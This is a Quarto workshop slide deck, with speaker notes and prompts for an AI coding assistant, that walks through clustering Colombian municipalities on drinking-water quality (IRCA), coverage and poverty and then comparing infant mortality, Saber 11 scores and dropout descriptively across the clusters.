Resolución 2115 de 2007, arts. 13–14 (normas.cra.gov.co) · ICFES, Saber 11.° Guía de orientación 2017-1, pp. 101 and 104 (icfes.gov.co)

IRCA (Índice de Riesgo de la Calidad del Agua para consumo humano), Resolución 2115 de 2007: each tested characteristic carries a risk score (art. 13, Cuadro 6: Escherichia coli 25, total coliforms 15, turbidity 15, free residual chlorine 15, apparent colour 6, pH 1.5, among others). A sample’s IRCA is the score of the characteristics that fail their limit as a percentage of the score of all characteristics analysed, and the monthly IRCA is the mean over the month’s samples (art. 14). So 0 means every test passed and 100 means every test failed. Our irca is the year’s utility-supplied (“prestadores”) IRCA from the INS open table; the next slide shows why that matters. Saber 11 is ICFES’s standardized exam for students finishing upper secondary school, with five tests (critical reading, mathematics, social studies and citizenship, natural sciences, English). The global score is 5 × the weighted mean of the five test scores (each 0–100; English weight 1, the others 3), on 0–500 without decimals, and its mean was fixed at 250 in the first sitting (2014-2) so that years compare (guide, p. 104). Our saber11_mean is the mean global score of the students whose school is in that municipality and zone, both sittings of a year pooled; it covers only students who sat the exam, so it says nothing about those who left school. Sources checked 2026-10-30.

🚰 Why Drinking Water?

0–5

✅ sin riesgo · no risk

5.1–14

🟡 bajo · low

5.7

🏙️ urban

7.4

🏭 utilities

14.1–35

🟠 medio · medium

16.4

🇨🇴 national

35.1–80

🔴 alto · high

36.5

🌾 rural

43.7

🪣 self-supplied

80.1–100

⛔ inviable sanitariamente · unfit

INS IRCA for 2023: MinSalud, MinVivienda, INS and Superservicios, INCA 2023 (Bogotá, January 2025), Tabla 4 · bands: Resolución 2115 de 2007, art. 15 (normas.cra.gov.co)

IRCA (Índice de Riesgo de la Calidad del Agua para consumo humano) scores the surveillance samples of a year: 0 means no risk, 100 means unfit. The five cards are the risk bands of Resolución 2115 de 2007 (Ministerio de la Protección Social and Ministerio de Ambiente, Vivienda y Desarrollo Territorial), article 15: https://normas.cra.gov.co/gestor/docs/resolucion_minproteccion_2115_2007.htm (verified by the lead, 2026-10-30). The 2023 values land in their bands: MinSalud, MinVivienda, INS and Superservicios, Informe Nacional de Calidad del Agua para Consumo Humano INCA 2023 (Bogotá, January 2025), Tabla 4 (INS IRCA 2023): Nacional 16.4, Prestadores 7.4, Autoabastecedores 43.7, Urbano 5.7, Rural 36.5. https://www.minvivienda.gov.co/sites/default/files/documentos/informe-nacional-de-calidad-del-agua-para-consumo-humano-inca-2023.pdf (verified by the lead, 2026-10-30). Rural water in 2023 sits in the high-risk band on average. The second fragment matters for our data: the open table we use (datos.gov.co nxt2-39c3) holds the utility-supplied (“prestadores”) IRCA, which is far lower than the self-supplied systems’ score, so our dataset understates the risk where no utility exists. The same orange ramp, brighter for more risk on these dark slides, colours every IRCA band chart in Part 2. The emoji are mnemonic only; the label carries the meaning.

🧠 The Question

🧩 Which kinds of municipality exist?

🎯 How do 👶 health and 🎓 education outcomes differ between them?

📦 One Analysis, Many Deliverables

Municipal water data flows into one analysis script, analysis.py, which writes cluster outputs once. Seven publications read those outputs: a docx report, a pdf report, an epub report, revealjs and pptx slides for the council, a blog post, a website and a dashboard. All are published together on GitHub Pages.

🗃️ The Dataset

cd ~ && mkdir -p water-quality && cd water-quality
claude

Copy ../quarto-workshop/examples/water/data into this folder as data/, then list the files in data/ with their sizes.

1 row = 🏘️ municipality × 🏙️/🌾 zone × 📅 year

📊 31,416 rows · 29 columns · 1,122 codes · 2010–2023 · 📖 data/README.md

📜 Rules for the Analysis

Read data/README.md, then create AGENTS.md for this project. Scope: describe Colombian municipal water safety and infant mortality from data/ only. Rules: keep data/ unchanged, label IRCA as utility-supplied (prestadores), never cluster on outcomes, and say comparisons are descriptive, not causal. Show me the file.

reads data/README.md · writes AGENTS.md: scope, rules, the data’s caveats

approve · check that every rule is there

Exercise · ⏱️ 2 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/05-water-explore/README.md

AGENTS.md states the analysis’ scope and its four rules.

📦 The Project’s Environment

Give this project its own Python environment with `uv`: run `uv init --bare`, then `uv add ipykernel nbclient nbformat pyyaml pandas numpy matplotlib plotly scikit-learn pyarrow itables tabulate`. Run `quarto` and `python` through `uv run`, and add that rule to AGENTS.md. Show me the Python line of `uv run quarto check jupyter`.

📦 pyproject.toml · 🔒 uv.lock · .venv/ · a rule in AGENTS.md

approve · preview each page you make: uv run quarto preview explore.qmd

Exercise · ⏱️ 2 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/05-water-explore/README.md

uv run quarto check jupyter shows this project’s .venv Python.

Same recipe as the London guide, with the analysis packages: scikit-learn for k-means, pyarrow for the parquet outputs, itables for the dashboard’s table and tabulate for pandas’ Markdown tables. The packages shared with Part 1 come from uv’s cache; scikit-learn (with scipy), pyarrow, itables and tabulate download once, some tens of MB. Checkpoint 05, the end of the next block, holds this project’s AGENTS.md, pyproject.toml and uv.lock for anyone who needs to catch up. Every Python and Quarto command in this part starts with uv run, including the website’s pre-render script, which Quarto runs with the environment’s Python. The data build script, examples/water/scripts/build_dataset.py, declares its own packages at its top, so uv run gives it a separate environment. Docs, checked 2026-10-30: https://docs.astral.sh/uv/concepts/projects/run/.

🧩 Features vs 🎯 Outcomes

🧩 Cluster on

Water

💧 IRCA (prestadores)
🚰 piped water
🚽 sewer

People & place

💸 poverty (IPM)
🌾 rural share
⛰️ altitude (derived)
🌧️ rainfall

Government

🏛️ municipal performance (MDM)
💰 water transfers per person (SGP)

🎯 Only compare

👶 infant mortality

🎓 Saber 11 score

🎒 school dropout

🚫 never cluster on outcomes

🔁 Compute Once, Publish Many

data/water_municipal.csv
        │   uv run python scripts/analysis.py
        ▼
outputs/clusters.parquet  +  outputs/cluster_profiles.csv
        │   every page reads them
        ▼
explore · clusters · report · slides · blog · ⭐ dashboard

🧮 compute once → 📤 never copy a number by hand

🔍 Explore

⏱️ 3:15

🔍 Look Before You Model

📐

rows × columns

❔

missing by column × zone

🎚️

IRCA by band × zone

📈

IRCA by year

🌾 Rural: Less Data, More Risk

Two horizontal stacked bars, urban and rural. The urban bar is mostly no-risk and low-risk IRCA with a small hatched no-data share. The rural bar is more than half hatched no-data, and the largest share of the rest is in the high-risk band. — Figure 2: All rows, 2010–2023, by zone: no IRCA reported (hatched grey) and Resolución 2115 risk band. Utility-supplied (prestadores) IRCA, INS open data nxt2-39c3.

❔ rural rows without IRCA: 53% · 🔴 rural rows with IRCA in high or unfit: 51%

🏙️ Explore Tunja Yourself

👁️ view variable 🌆 zone

Tunja (DIVIPOLA 15001), water_municipal.csv, 2010–2023 · 💡 pick a view, then a variable

Tunja is the capital of Boyacá, so it has no urban/rural split for coverage: the slide uses water_coverage_total and sewer_coverage_total (municipality-wide). Every row, summary statistic and quartile on this slide is computed by the deck from the raw CSV; the page only draws them. Variables that repeat the same value in the urban and rural rows (coverage, MDM, fiscal indices, SGP, rainfall, infant mortality, dropout) are municipality-level, so the zone menu does not change them and they are counted once, 14 years rather than 28. ipm is one value per zone from the 2018 census, repeated in every year, so its charts show the two values instead of a trend. The summary never pools urban and rural (averaging the small rural population with the much larger urban one means nothing). Hollow points are coverage years reported as 0, probably “not reported” (data README, caveat 2); dashed lines mark the population series change (2018) and the infant-mortality method and source changes (2017, 2020). Numbers carry no thousands separators: 2011, not 2,011. Things to try: 💧 IRCA by year for urban and rural (rural has missing years: unsampled systems); 🧾 idf ends in 2020 and idf_new starts there (different methods, not comparable); 👶 infant mortality changes method in 2017; 🎓 Saber 11 exists only for 2014–2017, 2019, 2020 and 2022. Scatter plots of 14 years show co-movement over time, not cause. Dropdowns: ↑↓ pick inside a menu; the arrow keys move the deck only when no menu has focus. About two minutes.

🔍 Explore the Data

Read data/README.md. Create explore.qmd from data/water_municipal.csv (divipola as text): rows and columns, % missing per column by `zone`, IRCA counts by Resolución 2115 band and `zone`, and median IRCA by `year` and `zone`, labelled utility-supplied (prestadores). Render it; report errors.

writes explore.qmd · uv run quarto render explore.qmd

open explore.html in your browser

Exercise · ⏱️ 10 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/05-water-explore/README.md

explore.html shows IRCA by zone for 2010–2023.

🧹 Prepare

⏱️ 3:35

🧹 Four Steps from Table to Features

✂️

select 2016–2023 · municipalities · with IRCA

🔄

transform log SGP · capitals use the municipal total 🚩

🩹

impute year × zone median 🚩

📏

standardise z-score within year

🚩 = a flag column, so nothing is filled silently

🧮 What We Keep

step	rows
🏘️ municipality rows, 2016–2023	17,648
❌ no IRCA	6,411
❌ more than 2 features missing	2
✅ kept: 7,534 urban + 3,701 rural	11,235

🏘️ 1,090 municipalities · 🩹 653 rows imputed · 🏛️ 214 capital rows from totals

📏 Why Scale?

Horizontal bar chart with nine features. In raw units, rainfall and altitude together make up almost all of the distance and the other seven bars are invisible. After z-scores every feature contributes the same share, about 11 percent. — Figure 3: Share of the squared distance between rows that each feature contributes, in raw units and after z-scores (kept rows, 2016–2023).

⛰️🌧️ raw units: altitude + rainfall = 99.8% of the distance

🧹 Select and Transform

Read data/README.md. Create scripts/analysis.py with prepare(df): rows with entity_type "municipality", 2016–2023, with irca; features irca, water_coverage, sewer_coverage, ipm, rural_share, altitude_m, rainfall_mm, mdm, log(sgp_water_pc); fill missing coverage of "urban" rows with department_capital == 1 from *_total, flagged in <col>_from_total. Run it.

writes scripts/analysis.py · runs uv run python scripts/analysis.py

Exercise · ⏱️ 5 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/06-water-prepare/README.md

prepare() returns one row per kept zone-year with the nine features.

🧹 Impute and Scale

In prepare(), drop rows missing more than 2 features, fill the rest with the `year` × `zone` median plus <col>_imputed flags, then add z_<col> (z-score within `year`) beside the original columns; keep keys, outcomes and flags. Save outputs/prepared.parquet, print rows kept and dropped per step. Run it.

edits prepare() · uv run python scripts/analysis.py

Exercise · ⏱️ 5 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/06-water-prepare/README.md

the printed counts match 🧮 What we keep: 11,235 rows kept.

🧩 Cluster

⏱️ 3:55

🧩 k-Means in Four Steps

● point◉ centre━ its path

🎯 points close to their centre🧭 many rows → a few kinds to compare

① drop 3 centres at random points

💧 water data: k = 4 is a hyperparameter, picked from k = 2–8 by an elbow rule · silhouette stays low (about 0.2), so k is a judgement call

Synthetic toy points, labelled as such: 560 random points in 3-D around three centres, drawn by this deck with a fixed seed. The four steps: ① drop k centres at random points; ② assign every point to its nearest centre; ③ move each centre to the mean of its points; ④ repeat ② and ③ until nothing changes. → steps through the algorithm; the numbered buttons jump to a step, ▶ play runs it, 🎲 1–3 pick one of three random starts (two reach the lowest inertia, the third gets stuck: a bad start can give a worse answer, hence n_init=20), and dragging turns the cloud. The thin lines are the distances that inertia adds up. Each centre leaves a trail, thicker towards its latest position, so you can see where it started and how far it travelled; the readout gives the farthest move of each ③. Moves usually shrink, but one can grow for a step before they settle: what never rises is inertia. The centres glide slowly on purpose: this movement is the algorithm. A jump to another step or start lands at once, because a glide there would not be a path the algorithm took.

Why cluster? (1) A table of thousands of rows becomes a few kinds a person can read and name. (2) You can compare and target by kind: which places need which help. (3) It needs no labels, so it is a first look at data nobody has categorised. (4) Odd groups point to data errors or special cases. Clusters describe; they do not explain or prove causes.

🎬 The Short “But What is K-Means?” (Graduate ML, https://youtube.com/shorts/H1kB2FAjePw) opens in a player that sets 0.9× speed (checked: the player reports 0.9) and requests Spanish captions and interface. YouTube’s embed has no setting, documented or otherwise, for the audio language, so choose Spanish audio in the player’s ⚙ menu (Audio track) if the video offers it; an unavailable track is not an error here (checked 2026-11-03: none was exposed).

k-means needs k up front. It starts from k centres, assigns each point to the nearest, moves each centre to the mean of its points, and repeats until nothing changes. Different starts can end in different solutions, so we run 20 starts (n_init=20) and keep the best, with a fixed random_state for reproducibility. Inertia is the sum of squared distances from points to their centre.

Choosing k for the water data (choose_k() in analysis.py, fitted on all kept rows): k = 2 is excluded because it mostly splits urban from rural rows (adjusted Rand index with the zone 0.50). Elbow: take the smallest k ≥ 3 after which one more cluster cuts inertia by less than 10%, if its silhouette is within 0.01 of the best k ≥ 3. Here the next cluster cuts inertia by only 7% and the silhouette (−1 to 1, on a fixed sample of 5,000 rows) is 0.195. A silhouette near 0.2 is weak: the kinds overlap and summarise a continuum, which is normal for social data. Stability: refits with 5 other seeds give the same clusters (adjusted Rand index ≥ 0.998; 1 means perfect agreement). The elbow and silhouette plots are on clusters.qmd.

🫧 A Picture of the Clusters

Scatter plot of about eleven thousand dots in four coloured groups that overlap at their edges. Cluster 4 spreads to the right, cluster 1 to the lower left and cluster 2 to the upper left; cluster 3 sits in the middle, drawn on top. — Figure 4: Each dot is a zone-year on the first two principal components of the 9 z-scored features, coloured by cluster. PCA is only for the picture; k-means used all 9 features.

🌀 Turn the Cloud

● Cluster 1■ Cluster 2▲ Cluster 3◆ Cluster 4

PC1 · 30%PC2 · 21%PC3 · 16%

🫧 2 axes · 51% of variance · cluster 3: 53% of near neighbours in it

🔄 3 axes · 67% · 90%

PC3 ≈ ⛰️ altitude (derived) − 🌧️ rainfall: cluster 3 sits below the others

Each point is a zone-year on the first three principal components of the 9 z-scored features, by cluster · 🖱️ drag to turn · scroll to zoom

The same zone-years, colours and markers as the previous slide, on the first three principal components of the same 9 z-scored features: PC1 and PC2 are the previous slide’s axes. Face on, the cloud is that 2-D picture. Press → to turn it: PC3 adds 16% of the variance. Press → again to stand PC3 upright and fade the other clusters. “Near neighbours” are each zone-year’s 15 nearest zone-years on the components shown; a cluster’s share is the mean over its zone-years. Over all zone-years the share is 78% on 2 components and 94% on 3. PC3’s largest loadings are altitude_m +0.67, rainfall_mm -0.48. It is still a picture: k-means used all 9 features, not the components. Drag to turn the cloud and scroll to zoom; with reduced motion the views change without animation. About a minute.

🏔️ Where the Clusters Stand

■ Cluster 1 · 1,256 m■ Cluster 2 · 1,766 m■ Cluster 3 · 130 m■ Cluster 4 · 159 m

BogotáTunjaMedellínCaliBarranquillaCartagenaCúcutaBucaramangaVillavicencioValleduparIbagué

🗺️ 966 urban zones, 2023: a column each, coloured by cluster

⛰️ height = head-town altitude, ×50

🏔️ cluster 2: median 1,766 m · cluster 3: 130 m

Columns stand at municipality centroids; heights are derived SRTM altitudes of the head towns · labels: the 10 most populous department capitals and Tunja · 🖱️ drag to turn · scroll to zoom

The previous slide’s PC3 ≈ ⛰️ altitude (derived) − 🌧️ rainfall; this slide puts the clusters on the map by head-town altitude. One column per clustered urban zone in 2023, at its municipality’s centroid (from the DANE polygons; the head-town coordinates are not in the dataset), as tall as its head town’s altitude (one derived SRTM point, not an official altitude) times 50, and coloured by cluster. The San Andrés and Providencia archipelago is left off{python} f", and so are {wat_rel_filled} zones whose altitude was filled" if wat_rel_filled else "". Press → to tilt the map, and again to fly to cluster 2, whose middle column the view turns about; clusters 2 and 3 stay bright. Cluster 2’s urban zones are 56% in the DNP region Centro Oriente; cluster 3’s are 53% in Caribe. This shows where the kinds are, not why they differ. The labels name the 10 most populous department capitals on the map by 2023 head-town population (DANE projections in the dataset: Bogotá, Medellín, Cali, Barranquilla, Cartagena, Cúcuta, Bucaramanga, Villavicencio, Valledupar, Ibagué) and Tunja, Boyacá’s capital at 2,695 m. Large suburbs (Soacha, Soledad, Bello) are left out because their labels would cover their capitals’. About a minute.

🛤️ Use the Model, or Build It

📤

Use it · the normal route

copy each block’s finished analysis.py, then build the pages

🧗

Build it · ⭐ challenge

paste the ⭐ prompts · stuck? the 📤 prompt

Copy ../quarto-workshop/checkpoints/07-water-cluster/scripts/analysis.py over scripts/analysis.py (keep mine as scripts/analysis-before-07.py), run it with `uv run python scripts/analysis.py`, and tell me k.

Exercise · ⏱️ 2 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/07-water-cluster/README.md

outputs/clusters.parquet exists and you know k.

This is a Quarto workshop: the lesson is computed results feeding every page and publication, so using the finished model is the normal route, not a fallback. Both routes write the same outputs/, and everyone builds the same pages and publications. Demonstrate the modelling choices while the room copies: paste the next slide’s ⭐ prompt on the projector (or open choose_k() in checkpoint 07) and talk through k = 2–8, 20 starts with a fixed seed, the elbow rule with the silhouette check, stability across seeds (ARI) and numbering by centroid IRCA. Builders paste the ⭐ prompts instead; if they get stuck, the 📤 prompt on this slide puts them back on the normal route. In the Interpret and Causation blocks, the first hands-on slide after the concept slides is the 📤 prompt for their part of analysis.py.

🧩 Run k-Means · ⭐ challenge

In scripts/analysis.py, run k-means on the z_ features for k=2–8 (random_state=42, n_init=20); save inertia and silhouette to outputs/k_selection.csv; pick k by the elbow, check silhouette and 5-seed ARI; number clusters by centroid IRCA; save outputs/clusters.parquet (prepared columns + `cluster`, pc1, pc2). Run it; explain k.

edits scripts/analysis.py · uv run python scripts/analysis.py

Exercise · ⏱️ 6 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/07-water-cluster/README.md

outputs/clusters.parquet has a cluster for every kept row, and 🤔 you can explain its choice of k.

🧩 The Clusters Page

Create clusters.qmd that reads outputs/k_selection.csv and outputs/clusters.parquet and shows an elbow plot, silhouette by k and a PCA scatter (pc1, pc2) coloured by cluster, each with a caption and alt text. Render it and tell me about errors.

writes clusters.qmd · uv run quarto render clusters.qmd

open clusters.html in your browser

Exercise · ⏱️ 6 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/07-water-cluster/README.md

clusters.html shows the elbow, the silhouette and the PCA picture.

☕ Break

⏱️ 4:20

☕ 15 min · back at 4:35 for 🏷️ Interpret

🛟 No clusters.html yet? Ask for help now, or paste the 🧩 Clusters Page slide’s Catch me up

🏷️ Interpret

⏱️ 4:35

🌡️ What Sets Each Cluster Apart?

Heatmap with four rows, clusters 1 to 4, and nine feature columns. Cluster 4 is red for IRCA and poverty and dark blue for water and sewer coverage. Cluster 1 is dark blue for rural share and SGP per person and red for municipal performance. Cluster 3 is dark blue for altitude. Cluster 2 is red for altitude, rural share and coverage. — Figure 5: Cluster centroids in z units: standard deviations above (red) or below (blue) the year’s average. IRCA: utility-supplied (prestadores). Altitude: derived SRTM point.

🏷️ Name Them by a Rule

🏷️ name = 🏙️ setting + 🚰 coverage + 🎚️ median IRCA band

	Kind	Zone-years	Municipalities	Median IRCA
1	Cities and large towns, no-risk water	2,271	284	1.6
2	Highland towns, no-risk water	3,750	558	4.0
3	Lowland towns, low-risk water	2,451	479	9.2
4	Rural, low-coverage, high-risk water	2,763	729	35.2

“low-coverage” = 0.5 SD or more below the year’s average, not “unserved” · risk word = band of the cluster’s median utility-supplied (prestadores) IRCA, not every zone-year’s; a median near a band edge can flip the word

name_rule() in analysis.py turns each profile into a name, so names never depend on which id k-means happened to give. From this slide on, the deck’s charts call each cluster by its id and name, as the project’s pages do from checkpoint 08. Setting: “Rural” if fewer than 40% of the cluster’s rows are urban zones; otherwise “Cities and large towns” (rural share ≤ −0.5 SD), “Lowland towns” (altitude ≤ −0.5 SD) or “Highland towns” (altitude ≥ +0.5 SD). Coverage: “low-coverage” if the cluster’s mean piped-water coverage is ≤ −0.5 SD. That is a relative position: the rural cluster’s mean coverage is 30%, low but not zero, so “unserved” would overstate it. Risk: the Resolución 2115 band of the cluster’s median utility-supplied (prestadores) IRCA; individual zone-years in a cluster can sit in any band. Check every name against the heatmap and the profile table before you use it. Zone-years and municipalities are counted in profiles(); a municipality counts in every cluster that holds one of its zone-years.

🎯 Outcomes by Cluster

Three small line charts by year, one line per cluster. Cluster 1, cities and large towns, has the lowest infant mortality, around 9 per 1,000, and the highest Saber 11 scores. Cluster 2, highland towns, has the highest infant mortality. Cluster 3, lowland towns, has the lowest Saber 11 scores. Dropout medians stay between about 1.7 and 4.7 percent and dip in 2020 for every cluster. — Figure 6: Median by cluster and year. Infant mortality: 2017–2019 and 2021–2023 only (its method changes in 2017; 2020 looks like another source). Saber 11: published years.

⚠️ Descriptive only: these differences are not causal effects of water safety. Infant mortality and dropout are municipal values.

🌡️ Outcomes in SD Units

Heatmap with one row per named cluster and three outcome columns: infant mortality, Saber 11 and school dropout. Each cell prints the cluster's mean outcome in z units and, in brackets, the mean itself, coloured on the features heatmap's blue-to-red scale. — Figure 7: Cluster mean outcome in z units (SD above red, below blue the year’s average); the mean itself in brackets. Colour scale as in the features heatmap.

⚠️ Descriptive only: not causal effects of water safety. Infant mortality: 2017–2019 and 2021–2023; Saber 11: published years.

The same recipe as the features heatmap: each outcome is standardised within its year (value minus that year’s mean, divided by that year’s standard deviation), and a cell is the cluster’s mean z, with the cluster’s mean outcome in brackets. Municipal outcomes (infant mortality, dropout) count each municipality once per year for the year’s mean and standard deviation, and once per cluster and year inside a cluster, as profiles() does. Years: infant mortality 2017–2019 and 2021–2023, Saber 11 2016, 2017, 2019, 2020 and 2022, dropout 2016–2023. The colour scale is the features heatmap’s (±1.5), so the paler cells are the point: no cluster’s mean outcome is more than 0.65 SD from the average, and the clusters differ far less in outcomes than in the features that formed them. Lowest infant mortality: cluster 1 (cities and large towns); highest: cluster 2 (highland towns). Best Saber 11: cluster 1 (cities and large towns). Lowest dropout: cluster 2 (highland towns).

🎛️ Every Variable, Cluster by Cluster

Box plots of IRCA, utility-supplied (0–100), one per cluster. Medians: cluster 1 (Cities and large towns, no-risk water) 1.6; cluster 2 (Highland towns, no-risk water) 4.0; cluster 3 (Lowland towns, low-risk water) 9.2; cluster 4 (Rural, low-coverage, high-risk water) 35.2.

▭ middle half · ━ median · ┅ mean · whiskers 5th–95th percentile · all zone-years 2016–2023; outcomes in their years, municipal ones once per municipality

📤 Use the Outcome Rules and Names

Copy ../quarto-workshop/checkpoints/08-water-interpret/scripts/analysis.py over scripts/analysis.py (keep mine as scripts/analysis-before-08.py), run it with `uv run python scripts/analysis.py`, and show me the cluster names.

copies · runs · writes outputs/outcomes_by_year.csv and outputs/cluster_profiles.csv

🧗 building it yourself? the next two ⭐ slides instead

Exercise · ⏱️ 2 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/08-water-interpret/README.md

the assistant shows a name for every cluster.

🏷️ Outcome Rules · ⭐ challenge

In scripts/analysis.py, add outcome rules: infant_mortality only in 2017–2019 and 2021–2023; infant_mortality and dropout_rate are municipal, so count each municipality once per `cluster` and `year`; saber11_mean stays per zone-year. Save outputs/outcomes_by_year.csv (median, n). Run it.

adds the outcome rules and outcomes_by_year() · uv run python scripts/analysis.py

Exercise · ⏱️ 3 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/08-water-interpret/README.md

outputs/outcomes_by_year.csv has no infant-mortality rows for 2016 or 2020.

🏷️ Profiles and Names · ⭐ challenge

Write outputs/cluster_profiles.csv: rows, municipalities, mean raw and z features, outcome medians and n under the same rules. Name each cluster by a rule: setting, relative coverage ("low-coverage" if mean z_water_coverage ≤ −0.5), median IRCA band. Show me the names.

adds profiles() and a naming rule · uv run python scripts/analysis.py

Exercise · ⏱️ 3 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/08-water-interpret/README.md

every cluster has a name you can defend from its profile.

🏷️ Heatmap and Outcomes

Add to clusters.qmd a heatmap of the cluster mean z-scores (features × clusters, blue to red) and one line chart per outcome from outputs/outcomes_by_year.csv, with gaps, not joined lines, in missing years. Use the cluster names and colours. Render it.

edits clusters.qmd · uv run quarto render clusters.qmd

reload clusters.html in your browser

💬 while it renders, with a neighbour: describe one cluster using two features.

Exercise · ⏱️ 4 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/08-water-interpret/README.md

clusters.html shows the heatmap and outcomes by cluster and year.

🏔️ Dropout Terrain by Cluster · ⭐ optional

Saber 11 · 201→284infant mortality · 3→36dropout · 0.8→8.2 %

📊 Outcomes the clustering never used, by year. Pick a cluster, or fix a year.

📅 2017 · cluster dropout means 2.83–3.84 %

x Saber 11 · z infant mortality · height school dropout ×2.4 · 🖱️ drag to turn

Optional. The same clusters as before (k = 4), not re-fitted. A municipality is drawn in the years 2017, 2019, 2022, the ones in which both Saber 11 and infant mortality are published; only the 335 of 1,090 municipalities with all three outcomes and a cluster in every one are kept, so counts on the slides are out of that panel. Its cluster each year is the one most of its zone rows fall in. The clusters never used these outcomes. The years play by themselves; ⏸ fix (or any year button, or →) stops them, and the cluster buttons keep one cluster in colour and fade the rest. Descriptive: the clusters do not show that water quality causes any of these outcomes. Here the terrain’s height is the school dropout of the cluster that owns that place (a kernel-weighted blend of the clusters’ mean dropout; heights are drawn ×2.4 because the means differ little). The glowing lines are where the owner changes. Values beyond the 2nd–98th percentile are drawn at the edge.

🫧 Clusters as Hulls · ⭐ optional

Saber 11 · 201→284infant mortality · 3→36dropout · 0.8→8.2 %

🫧 Each point is a municipality; each hull wraps its cluster’s nearest 85 %.

📅 2017 · cluster dropout means 2.83–3.84 %

Hull = convex hull of a cluster’s 85 % of municipalities nearest its mean · 🖱️ drag to turn

Optional. The same clusters as before (k = 4), not re-fitted. A municipality is drawn in the years 2017, 2019, 2022, the ones in which both Saber 11 and infant mortality are published; only the 335 of 1,090 municipalities with all three outcomes and a cluster in every one are kept, so counts on the slides are out of that panel. Its cluster each year is the one most of its zone rows fall in. The clusters never used these outcomes. The years play by themselves; ⏸ fix (or any year button, or →) stops them, and the cluster buttons keep one cluster in colour and fade the rest. Descriptive: the clusters do not show that water quality causes any of these outcomes. Points sit at their real values. Each hull wraps the cluster’s 85 % of municipalities nearest its mean, so a few outliers do not stretch it; it reshapes as the points move between years.

🥞 Stacked Years · ⭐ optional

Saber 11 · 201→284infant mortality · 3→36year ↑

🥞 One plane per year. Bright lines: a municipality that changed cluster.

📅 2017 · cluster dropout means 2.83–3.84 %

120 sampled municipalities joined across planes · 🖱️ drag to turn

Optional. The same clusters as before (k = 4), not re-fitted. A municipality is drawn in the years 2017, 2019, 2022, the ones in which both Saber 11 and infant mortality are published; only the 335 of 1,090 municipalities with all three outcomes and a cluster in every one are kept, so counts on the slides are out of that panel. Its cluster each year is the one most of its zone rows fall in. The clusters never used these outcomes. The years play by themselves; ⏸ fix (or any year button, or →) stops them, and the cluster buttons keep one cluster in colour and fade the rest. Descriptive: the clusters do not show that water quality causes any of these outcomes. Each plane is one year, the first at the bottom; the picked year lifts its plane into place. The lines join 120 sampled municipalities across adjacent planes; bright ones changed cluster. Dropout is not drawn here.

🪐 Cluster Orbits · ⭐ optional

Saber 11 · 201→284infant mortality · 3→36dropout · 0.8→8.2 %

🪐 Ring radius = how far the cluster mean is from the overall mean.

📅 2017 · cluster dropout means 2.83–3.84 %

Sun = overall mean on Saber 11 and infant mortality · height = mean dropout ×2.4 · ring radius ×3 · 🖱️ drag to turn

Optional. The same clusters as before (k = 4), not re-fitted. A municipality is drawn in the years 2017, 2019, 2022, the ones in which both Saber 11 and infant mortality are published; only the 335 of 1,090 municipalities with all three outcomes and a cluster in every one are kept, so counts on the slides are out of that panel. Its cluster each year is the one most of its zone rows fall in. The clusters never used these outcomes. The years play by themselves; ⏸ fix (or any year button, or →) stops them, and the cluster buttons keep one cluster in colour and fade the rest. Descriptive: the clusters do not show that water quality causes any of these outcomes. The sun is the mean of all municipalities on Saber 11 and infant mortality. Each cluster is a body whose ring radius is the distance of its mean from the sun, whose direction is its bearing, and whose height is its mean dropout. Up to 30 of its municipalities circle it at their real offsets from the cluster mean. A new year pulls the bodies to their new rings with a spring, so they swing past and settle.

🧱 Voronoi Dropout Columns · ⭐ optional

Saber 11 · 201→284infant mortality · 3→36dropout · 0.8→8.2 %

🧱 Each cell = the places nearest one cluster mean; height = its mean dropout.

📅 2017 · cluster dropout means 2.83–3.84 %

Voronoi cells of the cluster means · 36 × 36 squares · height ×2.4 · 🖱️ drag to turn

Optional. The same clusters as before (k = 4), not re-fitted. A municipality is drawn in the years 2017, 2019, 2022, the ones in which both Saber 11 and infant mortality are published; only the 335 of 1,090 municipalities with all three outcomes and a cluster in every one are kept, so counts on the slides are out of that panel. Its cluster each year is the one most of its zone rows fall in. The clusters never used these outcomes. The years play by themselves; ⏸ fix (or any year button, or →) stops them, and the cluster buttons keep one cluster in colour and fade the rest. Descriptive: the clusters do not show that water quality causes any of these outcomes. The plane is split into the places nearest each cluster mean (Voronoi cells, drawn as a 36 × 36 grid of squares). Each cell is raised to its cluster’s mean school dropout. When the year changes the borders slide and the columns grow or shrink. Descriptive: the cells show where the clusters sit, not what drives dropout.

⚠️ Correlation ≠ Causation

⏱️ 4:55

📉 Worse Water, More Infant Deaths?

Four small panels, one per cluster, each titled with the cluster's number and name. Each shows median infant mortality across the five IRCA risk bands, labelled N, L, M, H and U for no risk, low, medium, high and unfit. The lines are nearly flat in every cluster, and the Spearman correlations printed on the panels are all close to zero. — Figure 8: Median infant mortality by utility-supplied (prestadores) IRCA band, per cluster. Infant mortality changes method in 2017, and 2020 looks like another source: 2017–2019 and 2021–2023 are pooled. Bands under 20 municipality-years are not drawn.

⚠️ descriptive only: not a causal effect of water safety

🤔 What Else Could Explain It?

💸

poverty

🌾

rurality

🏥

health-service access

📝

reporting quality

🔍

ecological level: municipal outcome, zone IRCA

📤 Use the Within-Cluster Check

Copy ../quarto-workshop/checkpoints/09-water-causation/scripts/analysis.py over scripts/analysis.py (keep mine as scripts/analysis-before-09.py), run it with `uv run python scripts/analysis.py`, and print Spearman rho and n per cluster from outputs/irca_infant.csv.

copies · runs · writes outputs/irca_infant.csv and outputs/irca_infant_bins.csv

🧗 building it yourself? the next ⭐ slide instead

Exercise · ⏱️ 2 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/09-water-causation/README.md

ρ and n are printed for every cluster.

🧮 Within-Cluster Check · ⭐ challenge

In scripts/analysis.py, for 2017–2019 and 2021–2023, make one row per municipality-year within each cluster: its infant_mortality and the mean IRCA of its zones in that cluster. Save and print Spearman rho and n per cluster, and median infant_mortality by IRCA band. Run it.

